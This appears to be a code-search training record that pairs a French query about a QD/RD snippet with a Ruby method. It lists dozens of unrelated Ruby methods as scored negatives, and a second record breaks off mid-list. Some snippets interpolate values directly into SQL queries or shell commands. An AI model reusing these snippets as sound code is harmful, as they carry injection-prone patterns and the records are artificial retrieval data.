"def generation_code\n super.insert(-2, '#{\\'?\\' + args.last.to_query unless args.last.empty?}')\n end",
"def quo(arg0)\n end",
"def qlook\n file = Selection[0].linked_files.get[0].to_s\n if File.exists?(file)\n `qlmanage -p '#{file}'`\n else\n growl('No file available', 'No file available for #{Selection[0].cite_key.get}')\n end\nend",
"def quarter\n puts 'Dispensed quarter'\n end",
"def quarter\n puts 'Dispensed quarter'\n end",
"def explanation\n end",
"def gherkin_query; end",
"def gherkin_query; end",
"def qux ( &block )\n yield\n return 'qux: post proc'\nend",
"def general_q(question)\n p question\n gets.chomp\nend",
"def query_def; seq1.definition; end",
"def explain\n \n end",
"def marvin_quote; end",
"def custom_sql(q)\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n query.each { |x| print_line(\"#{x.join(',')}\") } unless query.empty?\n end",
"def define_question_code(klass, position) \r\n \"is_a?(#{name}) && (!number || number==@value)\"\r\n end",
"def romeo_and_juliet_quote; end",
"def questions\n # SELECT * FROM questions WHERE student_id = 2;\n DATABASE.execute(\"SELECT * FROM questions WHERE student_id = #{@id}\")\n end",
"def set_q\n @q = Q.find(params[:id])\n end",
"def ragman_quest; end",
"def sms_example_for_question(qing)\n content = case qing.question.qtype.name\n when \"integer\" then \"3\"\n when \"decimal\" then \"12.5\"\n when \"select_one\" then \"b\"\n when \"select_multiple\" then \"ac\"\n when \"datetime\" then \"20120228 1430\"\n when \"date\" then \"20121118\"\n when \"time\" then \"0930\"\n else nil\n end\n\n (content ? t(\"common.example_abbr\") + \" \" + content_tag(:span, content, :class => \"sms_example\") : \"\").html_safe\n end",
"def faq\n\n end",
"def query; end",
"def show\n @qnacomment = Qnacomment.new\n end",
"def question_render(nancode, session_id = nil, question_iterator = nil)\r\n\r\n nancode = \"#{nancode}-Q\"\r\n question_iterator.blank? ? qnumber = '' : qnumber = \"#{question_iterator}. \"\r\n question_content = <<-QUESTION_CONTENT\r\n <div id=\"#{nancode}\" name=\"#{nancode}\" class=\"question question-#{self.type.to_s.downcase}\">\r\n #{qnumber} #{self.output_text}\r\n </div>\r\n QUESTION_CONTENT\r\n\r\n return question_content\r\n\r\n end",
"def start_bridge_quest\n slowly do\n\"\"\"\nWhat should Duncan do? \n There's bacon!! Dash across that bridge and hunt! -- Press 1\n Carefully approach and investigate the scenario. -- Press 2\n Use special power! -- Press 3\n\"\"\" \n end\n end",
"def faq\n end",
"def faq\n end",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def define_question_code(klass, position)\r\n \"@value==#{position.value}\"\r\n end",
"def query_def; mrna.definition; end",
"def q3_page\n\"\n\n\n\n\n\n\n\n\n\n What is your Food Mood?\n\n *-------------------* *-------------------* *-------------------*\n | | | | | |\n | | | | | |\n | | | | | |\n | Old Faves | | Surprise Me! | | Craving |\n | | | | | |\n | | | | | |\n | | | | | |\n *-------------------* *-------------------* *-------------------*\n\n 1: 2: Input your Craving:\n\nAnswer: \"\nend",
"def quiz\n end",
"def ask_for_description(question)\n\tdesc = Q.multiline(question)\n\tdesc = desc.collect{|l|l.strip}.join(\"\\n\")\n\tdesc = nil if desc.empty?\n\n\treturn desc\nend",
"def qa_page\n find_by(url: '/questions_and_tags')\n end",
"def question_label\n \"#{self.id} - #{self.title}\"\n end",
"def getSqlMmr(ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listRows = getListOptions(questionChild.elements[\"rows\"],\"option\")\r\n listColumns = getListOptions(questionChild.elements[\"columns\"],\"option\")\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_mmr.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def show_queens\n\tfor queen in $q_array\n\t\tqueen.show\n\tend\nend",
"def ask_q\n @current_ans = generate_q\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def question(q, a)\n qu = Question.new(q,a)\n questions << qu\n @counter = 0 #Se inicializa el contador\n end",
"def q_params\n params.fetch(:q, {}).permit(:name, :qn_id, :correct_flg)\n end",
"def therapist_quest; end",
"def jaeger_quest; end",
"def affixe_qdd\n @affixe_qdd ||= begin\n '%{mod_dim}-M%{mod_id}-E%{etp_num}-U%{uid}-%{id}' % {\n mod_id: ic_module.abs_module.id,\n mod_dim: ic_module.abs_module.dim,\n etp_num: ic_etape.abs_etape.numero,\n uid: user.id,\n id: self.id\n }\n end\n end",
"def prescription_1\n\tputs \"*** Prescription 1 ***\"\n\tputs \"Use the TDD process to create and adjust your code's design in small, incremental steps.\\n\\n\"\nend",
"def question\n puts \"#{@question}\"\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def working_title(query)\n @form['577'] = query\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def getSqlMmrs (ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listRows = getListOptions(questionChild.elements[\"rows\"],\"option\")\r\n hashColumnas = getListOptionSelect(questionChild)\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_mmrs.template\",binding)\r\n return erbTemplate.to_s\r\n end"
] | [
"0.73672616",
"0.7219648",
"0.652518",
"0.6443565",
"0.63217336",
"0.61404216",
"0.61404216",
"0.60299826",
"0.59905493",
"0.59770185",
"0.5864629",
"0.5861694",
"0.58289343",
"0.58143896",
"0.57835317",
"0.5776795",
"0.5757913",
"0.5757361",
"0.5740752",
"0.57097214",
"0.5693019",
"0.568389",
"0.56819856",
"0.56744117",
"0.5639815",
"0.56282586",
"0.5620178",
"0.5616549",
"0.5612567",
"0.55669457",
"0.5549455",
"0.5549455",
"0.55388755",
"0.55310017",
"0.5527379",
"0.552549",
"0.552549",
"0.5511023",
"0.54984057",
"0.54984057",
"0.54925615",
"0.548727",
"0.5472312",
"0.5464794",
"0.5415677",
"0.54095376",
"0.5406952",
"0.5406934",
"0.54050434",
"0.540351",
"0.5396864",
"0.5380888",
"0.5378273",
"0.5378031",
"0.53721017",
"0.53672934",
"0.5364551",
"0.53639483",
"0.53639483",
"0.53619343",
"0.53619343",
"0.53619343",
"0.53619343",
"0.53535336",
"0.53447",
"0.5334341",
"0.5333781",
"0.53325385",
"0.533185",
"0.532041",
"0.5320299",
"0.52999353",
"0.5295157",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5294696",
"0.5288918",
"0.5276218",
"0.527228",
"0.52516544",
"0.5242133",
"0.52403814",
"0.5230476",
"0.52235305",
"0.5221016",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5213478",
"0.5212063"
] | 0.7392762 | 0 |
=> Code Snippet pour une nouvelle QD/RD | def snippet_for_new type
self.send("snippet_for_new_#{type}".to_sym)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end",
"def snippet_for_new_rd\n qd_id = select_qd_without_rd\n horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop\n type_reponse = select_type_reponse_rd\n while type_reponse.match(/\\[tab_stop\\]/)\n type_reponse.sub!(/\\[tab_stop\\]/, \"\\${#{Snippet::next_tab}:TEXTE}\")\n end\n sn = \"\"\n sn << \"RD##{Objet::next_id_of_type 'RD'}: \"\n sn << horloge\n sn << \"[QD##{qd_id}] \"\n sn << \"#{type_reponse}\"\n sn << \" $0\"\n return sn\n end",
"def snippet_for_new_qd\n \"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0\"\n end",
"def snippet_for_new_qdf\n snippet_for_new_qd\n end",
"def select_qd_without_rd\n qds = hash_qds true\n if qds.empty?\n Snippet::alert \"Aucune QD n'est sans réponse dans ce fichier…\", \"Il faut définir une QD avant de définir sa RD.\"\n else\n items_string = qds.collect do |dqd|\n dqd[:qd].gsub!(/\\\"/,\"\\\\\\\"\"); \"\\\"#{dqd[:qd]}\\\"\"\n end.join(' ')\n args = [\n 'dropdown',\n '--title \"Choix de la QD\"',\n '--text \"Choisir la QD à laquelle doit répondre cette RD (seules les QD sans réponse sont listées)\"',\n '--exit-onchange', # -> se ferme après le choix\n '--button1 \"Choisir cette QD\"',\n '--button3 \"Renoncer\"',\n '--items ' + items_string,\n '2>/dev/null'\n ]\n cmd = \"#{cocoaD} #{args.join(' ')}\"\n u_reponse = %x{#{cmd}}\n btn_name, user_choix = u_reponse.split(\"\\n\")\n return nil if btn_name.to_i == 3\n qds[user_choix.to_i][:id]\n end\n end",
"def qv\n end",
"def odk_code\n \"q#{id}\"\n end",
"def odk_code\n \"q#{id}\"\n end",
"def log_qc_answers\n show do \n operations.each do |op|\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n note \"#{qc_answer.value}\"\n end\n end\n end",
"def snippet_for_new_rdf\n snippet_for_new_rd\n end",
"def name\n return 'Generic QAQC'\n end",
"def q\n self\n end",
"def skier_quest; end",
"def q(t)\n \n end",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def king_richard_iii_quote; end",
"def generate_valid_qrda_text\n Random.new.rand(1..4).times do\n measure = HealthDataStandards::CQM::Measure.find_by(_id: measure_ids.sample)\n Document.create(\n name: HOSPITALS.sample,\n expected_result: :accept,\n test_execution: self,\n measure_id: measure.hqmf_id,\n qrda: generate_qrda_text(measure)\n )\n end\n update_qrda_progress\n end",
"def query_def; mrna.definition; end",
"def prapor_quest; end",
"def quarter\n puts 'Dispensed quarter'\n end",
"def quarter\n puts 'Dispensed quarter'\n end",
"def query_def; @seq1.definition; end",
"def source_question\n self.dataset.questions.with_code(self.code)\n end",
"def quest; end",
"def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end",
"def dev_sq()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::DevSq::DevSqRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def qlook\n file = Selection[0].linked_files.get[0].to_s\n if File.exists?(file)\n `qlmanage -p '#{file}'`\n else\n growl('No file available', 'No file available for #{Selection[0].cite_key.get}')\n end\nend",
"def getSqlSm (ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listOptions = getListOptions(questionChild,\"option\")\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_sm.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def radios_for_revenue_matter_rpt(opts)\n return %Q{\n <div class=\"fl\">\n <table>\n <tr>\n <td><input type=\"radio\" name=\"get_records\" id=\"get_records\" value=\"Basic\" #{opts[:basic_checked]} /></td>\n <td>Basic</td>\n <td> </td>\n <td><input name=\"get_records\" type=\"radio\" id=\"get_records\" value=\"Detail\" #{opts[:detail_checked]} /></td>\n <td>Detail</td>\n </tr>\n </table>\n </div>\n }\n end",
"def fetch_term(qid)\n (t = Wikisnakker::Item.find(qid)) || raise('No such item')\n name = t.label('en')\n data = {\n id: name[/^(\\d+)/, 1],\n name: name,\n start_date: %w[P580 P571].map { |p| t.send(p).to_s }.reject(&:empty?).first,\n end_date: %w[P582 P576].map { |p| t.send(p).to_s }.reject(&:empty?).first,\n wikidata: qid,\n }\n puts data.values.to_csv\n\n if prev = t.P155 || t.P1365\n fetch_term(prev.value.id)\n end\nend",
"def qe_modifiers\n end",
"def create_question\n @question = \"#{operand} #{type} #{operand}\"\n end",
"def ragman_quest; end",
"def rn_custom; @rn_custom; end",
"def run_qpcr(outname, ops, program, test_str, stamp_columns)\n coll = ops.first.output(outname).collection\n\n display_plate = display_plate(outname, ops, stamp_columns)\n stub = upload_stub(program, test_str)\n\n show do\n title \"Place #{test_str} stripwells in qPCR machine\"\n check \"Open #{SOFTWARE} on qPCR computer and make sure the qPCR is not running\"\n note \"Open lid\"\n note \"Place the <b>#{coll}-#{test_str}</b> stripwells in the block in the following order\"\n table display_plate\n note \"Close lid\"\n end\n\n show do\n title \"Program Setup: #{stub}\"\n check \"Open #{SOFTWARE} if not already open\"\n check \"Choose <b>File->Open->Protocol</b>\"\n if stub == \"qPCR1_REAL\"\n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>NGS_qPCR1_2.prcl</b>\"\n else \n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>#{program.name}</b>\"\n end\n note \"Your program should have the following steps. If not, notify a lab manager.\"\n table program.table\n check \"Set the <b>Sample Volume</b> to <b>#{program.volume}</b>\"\n check \"Press <b>OK</b> (in the #{SOFTWARE})\"\n end\n\n show do\n title \"Plate Setup: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Plate</b> tab. Press <b>Select Existing</b>.\"\n check \"Navigate to <b>#{PROG_DIR}</b>. Choose <b>#{program.plate}</b> and press <b>Open</b>.\"\n check \"Press <b>Edit Selected</b>. Make sure the occupied wells match the table below:\"\n table display_plate\n check \"Make sure <b>SYBR</b> is checked for all wells in the table\"\n check \"Press <b>OK</b> (n the #{SOFTWARE})\"\n end\n\n data = show do\n title \"Run: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Start Run</b> tab.\"\n check \"Press <b>Start Run</b>\"\n note \"Copy the auto-generated filename for the run and paste it below:\"\n get \"text\", var: :name, label: \"file name\", default: \"filename#{PCRD_SUFFIX}\"\n if(test_str == TEST)\n check \"Proceed immediately to the next step while you are waiting for the qPCR <b>#{test_str}</b> run to finish\"\n end\n end\n\n ops.first.plan.associate \"#{upload_stub(program, test_str)}_name\", data[:name]\n\n if(test_str == REAL) # display stop cycle\n stop_cycle = ops.first.output(outname).collection.get(\"stop_cycle\")\n\n if stop_cycle.present?\n msg = \"The qPCR samples each require a different number of cycles.\"\n msg += \" To acheive this without disrupting the run, you will press\"\n msg += \" on the <b>Pause</b> software button at the <b>end</b> of the\"\n msg += \" elongation step at each of the cycles:\"\n msg += \" <b>#{stop_cycle.flatten.uniq.select!{|i| i>0}.sort.to_sentence}</b>\"\n msg += \" and remove the relevant sample(s), as indicated in the following table:\"\n\n show do\n title \"Stop at Cycle\"\n note msg\n table display_stop_cycles(outname, ops, stamp_columns)\n end\n else # this should not happen!\n raise \"No stop cycle info found.\"\n end\n end\n\n end",
"def qrgen\n end",
"def phq2?; end",
"def romeo_and_juliet_quote; end",
"def query_def; seq1.definition; end",
"def question_type\n Exercise::Q_CODING\n end",
"def get_default_qr(subscriber = nil)\n if !subscriber.nil? && !subscriber.broker.nil? && !subscriber.broker.firstname.nil?\n broker_name = subscriber.broker.firstname\n else\n broker_name = \"Conseiller\"\n end\n qr = [{\n \"type\": \"flow\",\n \"caption\": \"🏠 5 biens\",\n \"target\": ENV[\"QR_ADS\"],\n },\n {\n \"type\": \"flow\",\n \"caption\": \"🔍 Critères\",\n \"target\": ENV[\"QR_CRITERIA\"],\n },\n {\n \"type\": \"flow\",\n \"caption\": \"👨💼 Mes pros\",\n \"target\": ENV[\"QR_PROS\"],\n },\n {\n \"type\": \"flow\",\n \"caption\": \"❤️ Favoris\",\n \"target\": ENV[\"QR_FAVORITES\"],\n },\n {\n \"type\": \"flow\",\n \"caption\": \"🔑 Outils\",\n \"target\": ENV[\"QR_TOOLS\"],\n },\n {\n \"type\": \"flow\",\n \"caption\": \"💬 Ding Dong\",\n \"target\": ENV[\"QR_DING_DONG\"],\n },\n {\n \"type\": \"flow\",\n \"caption\": \"⛔ Stop\",\n \"target\": ENV[\"QR_STOP\"],\n }]\n return qr\n end",
"def prescription_1\n\tputs \"*** Prescription 1 ***\"\n\tputs \"Use the TDD process to create and adjust your code's design in small, incremental steps.\\n\\n\"\nend",
"def sdb\n StudentCalendarQuarter.find(\"0#{year.to_s}#{quarter_code_id.to_s}\")\n end",
"def getSqlMmrs (ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listRows = getListOptions(questionChild.elements[\"rows\"],\"option\")\r\n hashColumnas = getListOptionSelect(questionChild)\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_mmrs.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def getSqlMmr(ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n listRows = getListOptions(questionChild.elements[\"rows\"],\"option\")\r\n listColumns = getListOptions(questionChild.elements[\"columns\"],\"option\")\r\n erbTemplate = getTemplate(\"../encuestas/templates/sql_mmr.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def questions\n \n end",
"def generate_qrda_text(measure)\n measure_id = measure['hqmf_id']\n start_date = DateTime.new(reporting_period.to_i, 1, 1).utc\n end_date = start_date.years_since(1) - 1\n bundle = self.bundle\n if qrda_type == '3'\n c3c = Cypress::Cat3Calculator.new([measure_id], bundle)\n c3c.generate_cat3(start_date, end_date)\n elsif qrda_type == '1'\n patient_records = HealthDataStandards::CQM::PatientCache.where('value.measure_id' => measure_id, 'value.test_id' => nil).to_a.map(&:record)\n formatter = Cypress::QRDAExporter.new([measure], start_date, end_date)\n patient = patient_records.sample\n Cypress::DemographicsRandomizer.randomize(patient)\n formatter.export(patient)\n else\n raise 'Unknown QRDA type'\n end\n end",
"def explanation\n end",
"def find_rdfa_by_id rdf_start_class , id\n #map each var on its classname\n id = id.to_s\n rdfa_string = \"<div about=\\\"#{rdf_start_class+\"/\"<<id}\\\" typeof=\\\"#{@class_map[rdf_start_class.to_sym]}\\\">\\n\"\n #get configuration start ->classes\n m = find_models(rdf_start_class,true)\n if m\n m.values[0].each do |mod,attributes|\n unless mod.to_s.eql?(\"sql_query\")\n t_mod = Model.new(mod, rdf_start_class)\n #if sql...\n item=t_mod.get_row_by_id(id).first\n t_mod.model_attributes.each do |name,link_field|\n #property\n #link to other ress\n if name.to_s.include? \"->\"\n m_class,role_mod = name.to_s.split \"->\"\n\n if role_mod.eql?(\"sql_query\")\n hello=\"\"\n else\n if link_field.include?(\"*\")\n field_class,field= link_field.to_s.split(\"*\")\n if field_class.to_s[0..5]==\"MODEL(\"\n field_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(field_class.to_s).get_rows\n rdfa_string<<\"<div rel=\\\"#{m_class}\\\">\\n\"\n submodel.each do |line|\n rdfa_string<<find_rdfa_by_id(role_mod , eval(\"line.#{field.to_s}\"))\n end\n rdfa_string<<\"</div>\\n\"\n else\n subitem = eval(\"item.#{field_class}\")\n rdfa_string<<\"<div rel=\\\"#{m_class}\\\">\\n\"\n subitem.each do |subline|\n rdfa_string<< find_rdfa_by_id(role_mod , eval(\"subline.#{field.to_s}\"))\n end\n rdfa_string<<\"</div>\\n\"\n end\n else\n rdfa_string<<\"<div rel=\\\"#{m_class}\\\">\\n\"\n rdfa_string << find_rdfa_by_id(role_mod , eval(\"item.#{link_field.to_s}\"))\n rdfa_string<<\"</div>\\n\"\n end\n end\n else\n write=true\n #just a property\n #CONST(\n #Model(\n if link_field.to_s[0..5] ==\"CONST(\"\n write=false\n val,data_type= t_mod.get_const(link_field)\n if data_type==\"LINK\"\n #link\n rdfa_string<<\"<div rel= \\\"#{name}\\\" resource=\\\"#{val}\\\"> </div>\\n\"\n else\n #value\n rdfa_string<<\"<div property= \\\"#{name}\\\" content=\\\"#{val}\\\" datatype=\\\"#{data_type}\\\"> </div>\\n\"\n end\n else\n m_class,field= link_field.to_s.split(\"*\")\n if name.to_s[0..5]==\"MODEL(\"\n m_class.gsub!(\"MODEL(\",\"Model.new(\")\n submodel= eval(m_class.to_s).get_rows\n submodel.each do |line|\n datatype=\"string\"\n rdfa_string<<\"<div property= \\\"#{ref_pred}\\\" content=\\\"#{eval(\"line.#{field.to_s.downcase}\")}\\\" datatype=\\\"#{data_type}\\\"> </div>\\n\"\n end\n end\n if field\n write = false\n #rdfa_string<<find_rdfa_by_id(\"\",\"\")\n end\n end\n rdfa_string<<\"<div property= \\\"#{name}\\\" content=\\\"#{eval(\"item.#{link_field}\")}\\\"></div>\\n\" if write\n end\n end\n end\n end\n end\n rdfa_string << \"</div>\\n\"\n end",
"def geteru_rb (questionChild,type,number,ask,hashNames)\r\n name=\"#{type}_#{number}\"\r\n getContainsKey(hashNames,type,name)\r\n has = Hash.new\r\n questionChild.elements[\"range\"].attributes.each_attribute do |range|\r\n has[range.expanded_name] = range.value\r\n end\r\n erbTemplate = getTemplate(\"../encuestas/templates/eru_rb.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def gherkin_query; end",
"def gherkin_query; end",
"def relatorios\n end",
"def qseq; @mrna.seq; end",
"def generate\n\t\t@vs = \"vitalsource\"\n\t\t@question = [\"What is your Student ID number?\",\"What is your favorite color?\",\"In what city were you born?\",\"What is your pet's name?\",\"What is your mother's maiden name?\"]\n\tend",
"def king_richard_iii; end",
"def run\r\n ridFieldName = @qbc.lookupFieldNameFromID( \"3\")\r\n records = Records.new\r\n @qbc.iterateRecords(@dbid,@qbc.getFieldNames(@dbid),nil,@id,nil,qyclst()){|qb_record|\r\n record = Record.new\r\n record.build(@qbc,ridFieldName, qb_record)\r\n records << record\r\n }\r\n records\r\n end",
"def general_q(question)\n p question\n gets.chomp\nend",
"def retrieve_riddle()\n @question = @riddles.keys.sample(1).join(' ')\n end",
"def set_qrc\n @qrc = Qrc.find(params[:id])\n end",
"def set_qrc\n @qrc = Qrc.find(params[:id])\n end",
"def query_def; @hit.mrna.definition; end",
"def cdbssr\n cdbssr = \"http://bit.ly/cdbssr-free\"\n puts \"Maybe you could learn some basics about the technology?\"\n puts \"Check this out: #{cdbssr}!\"\n puts \"Comment Découvrir la Blockchain Sans Se Ruiner\"\n puts \"IT'S 100% FREE!\"\n puts \"For other courses\"\n podia\nend",
"def grid_rds_qs\n sql = <<~SQL\n SELECT rds_qs.*\n FROM rds_qs\n INNER JOIN question_grids\n ON question_grids.id = rds_qs.question_id\n AND rds_qs.question_type = 'QuestionGrid'\n INNER JOIN codes\n ON codes.code_list_id = question_grids.horizontal_code_list_id\n AND codes.value != ''\n AND codes.value::int = rds_qs.code_id\n WHERE question_grids.id = ?\n ORDER BY codes.order\n SQL\n RdsQs.find_by_sql ([sql, self.id])\n end",
"def quarterName\n qtrName = \"\"\n case self.enclaveQuarter\n when 1\n qtrName = \"First\"\n when 2\n qtrName = \"Second\"\n when 3\n qtrName = \"Third\"\n when 4\n qtrName = \"Fourth\"\n end\n qtrName\n end",
"def show\n #setup_reporting_fields\n rqrcode\n end",
"def r; end",
"def r; end",
"def chi_sq_dist_r_t()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::ChiSq_Dist_RT::ChiSqDistRTRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def getResultPhpEru(ask,type,number,questionChild)\r\n name=\"#{type}_#{number}\"\r\n has = Hash.new\r\n questionChild.elements[\"range\"].attributes.each_attribute do |range|\r\n has[range.expanded_name] = range.value\r\n end\r\n erbTemplate = getTemplate(\"../encuestas/templates/result_php_eru.template\",binding)\r\n return erbTemplate.to_s\r\n end",
"def answer(question)\n response = []\n begin\n\ttexto = QUERY_TEMPLATE.sub(/%command%/, question)\n\tprint texto \n\tquery = QueryFactory.create(texto)\n\t# qexec = SparqlDLExecutionFactory.create(query, storage.inferred)\n\tqexec = QueryExecutionFactory.create(query, storage.inferred); #qexec = QueryExecutionFactory.create(query, storage.model);\n results = qexec.execSelect\n response = parse_results(results)\n ensure\n qexec.close if qexec\n end\n response\n end",
"def as_you_like_it_quote; end",
"def rucas_help_example code\n puts \"> #{code}\"\n puts \" #=> #{$rucas_help_scope.rucas{ Kernel::eval(code) }.inspect}\"\nend",
"def rrca\n end",
"def set_qr\n @qr = Qr.find(params[:id])\n end",
"def explanation\n <<-\"eos\"\nThis build has been added to the builds list because it is\nthe #{slug} build corresponding to #{self.nvr}.\neos\n end",
"def trd; end",
"def query; end",
"def generation_code\n super.insert(-2, '#{\\'?\\' + args.last.to_query unless args.last.empty?}')\n end",
"def rq(data=nil)\n if @preprocessor\n data= @preprocessor.call(data)\n end\n Wowwee::Mip::Protocol::Rq.new(@code, data)\n end",
"def view_code(cheatsheet_db, language, look_for)\n p cheatsheet_db.execute(\"SELECT * FROM #{language} WHERE id='#{look_for}' OR type='#{look_for}' OR code='#{look_for}' OR comment='#{look_for}'\")\nend",
"def index\n @qrs = Qr.all\n end",
"def ask_for_description(question)\n\tdesc = Q.multiline(question)\n\tdesc = desc.collect{|l|l.strip}.join(\"\\n\")\n\tdesc = nil if desc.empty?\n\n\treturn desc\nend",
"def desc; end",
"def title\n title = \"#{name}\"\n title << \" #{quarter_offered.title}\" if quarter_offered\n title\n end",
"def affixe_qdd\n @affixe_qdd ||= begin\n '%{mod_dim}-M%{mod_id}-E%{etp_num}-U%{uid}-%{id}' % {\n mod_id: ic_module.abs_module.id,\n mod_dim: ic_module.abs_module.dim,\n etp_num: ic_etape.abs_etape.numero,\n uid: user.id,\n id: self.id\n }\n end\n end",
"def dlqname(q)\n q + \".dl\" \n end",
"def explain\n \n end",
"def eval_block(questions, section)\n b = RT.include_form_variables(self)\n b << RT.small_header(section)\n questions.each do |q|\n b << RT.eval_question(form.db_table, q,\n {:barcode => barcodes},\n {:barcode => faculty.barcodes},\n self)\n end\n b\n end",
"def Q?(&block)\n SexpPath::SexpQueryBuilder.do(&block)\nend",
"def main_description; end",
"def qux ( &block )\n yield\n return 'qux: post proc'\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def display_q(num)\n Kernel.puts(\"=> Question \\##{num}:\")\nend",
"def ddb()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Ddb::DdbRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def build_sru_query(input)\n if input[0..4] == 'lccn:'\n \"bath.lccn=#{input[5..-1]}\"\n else\n \"bath.isbn=#{input}\"\n end\nend",
"def generate_invalid_qrda_text\n validation_ids.each do |validation_id|\n Random.new.rand(1..2).times do\n measure_id = determine_useful_measures(validation_id).sample\n measure = HealthDataStandards::CQM::Measure.find_by(_id: measure_id)\n doc = Document.create(\n name: HOSPITALS.sample,\n validation_id: validation_id,\n test_execution: self,\n measure_id: measure.hqmf_id,\n qrda: generate_qrda_text(measure)\n )\n Cedar::Invalidator.invalidate_qrda(doc)\n end\n update_qrda_progress\n end\n end",
"def questions\n # SELECT * FROM questions WHERE student_id = 2;\n DATABASE.execute(\"SELECT * FROM questions WHERE student_id = #{@id}\")\n end",
"def dvar()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Dvar::DvarRequestBuilder.new(@path_parameters, @request_adapter)\n end"
] | [
"0.74715817",
"0.70374256",
"0.6964121",
"0.6889526",
"0.66034794",
"0.583747",
"0.58078307",
"0.58078307",
"0.57400125",
"0.5622569",
"0.56074256",
"0.56029886",
"0.5596417",
"0.5559512",
"0.55365485",
"0.5504358",
"0.54642916",
"0.5455562",
"0.5450385",
"0.543834",
"0.543834",
"0.53899205",
"0.534916",
"0.532142",
"0.53030324",
"0.52976984",
"0.52388155",
"0.52387583",
"0.5234733",
"0.52342415",
"0.5214335",
"0.52117604",
"0.5181476",
"0.517804",
"0.5173112",
"0.51601356",
"0.51594794",
"0.51594436",
"0.51556927",
"0.514341",
"0.5129075",
"0.5127398",
"0.51259375",
"0.51152575",
"0.50918406",
"0.5082234",
"0.50725156",
"0.5045848",
"0.5022563",
"0.50187635",
"0.501528",
"0.501528",
"0.5009371",
"0.50088686",
"0.5005383",
"0.5001819",
"0.50015503",
"0.50012535",
"0.49894187",
"0.49821487",
"0.49821487",
"0.49731216",
"0.49726534",
"0.49631506",
"0.49550465",
"0.4953048",
"0.49460956",
"0.49460956",
"0.49460423",
"0.49460322",
"0.49454802",
"0.4944267",
"0.4941284",
"0.4940858",
"0.49394566",
"0.4937215",
"0.49308386",
"0.49263638",
"0.4922364",
"0.4921315",
"0.4918134",
"0.49173975",
"0.49124342",
"0.49045047",
"0.4901672",
"0.4900153",
"0.48971164",
"0.4891307",
"0.48857158",
"0.48814452",
"0.48783046",
"0.48770472",
"0.4872841",
"0.4872841",
"0.4872841",
"0.4872841",
"0.48720956",
"0.4868701",
"0.48675093",
"0.48587883",
"0.48572603"
] | 0.0 | -1 |
=> Code Snippet pour une QDF | def snippet_for_new_qdf
snippet_for_new_qd
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def snippet_for_qd\n \"[QD#${1|#{list_qr_et_id(:qd).join(',')}|}]formate_qrd$0\"\n end",
"def snippet_for_new_qd\n \"QD##{Objet::next_id_of_type 'QD'}: ${#{Snippet::next_tab}|h,d|}$0\"\n end",
"def qv\n end",
"def to_Qdl\n gsub /\\\"/,\"'\"\n end",
"def q(t)\n \n end",
"def query_def; @seq1.definition; end",
"def odk_code\n \"q#{id}\"\n end",
"def odk_code\n \"q#{id}\"\n end",
"def qux ( &block )\n yield\n return 'qux: post proc'\nend",
"def handle_q_s\n next_tag # Q\n @quarter = @tokens[@index].get_tag(Scalar).type\n @number = @quarter\n @index += 1\n @precision = :quarter\n @unit = :quarter\n end",
"def gastriloquism_quinnipiac_apodictical()\n end",
"def query_def; seq1.definition; end",
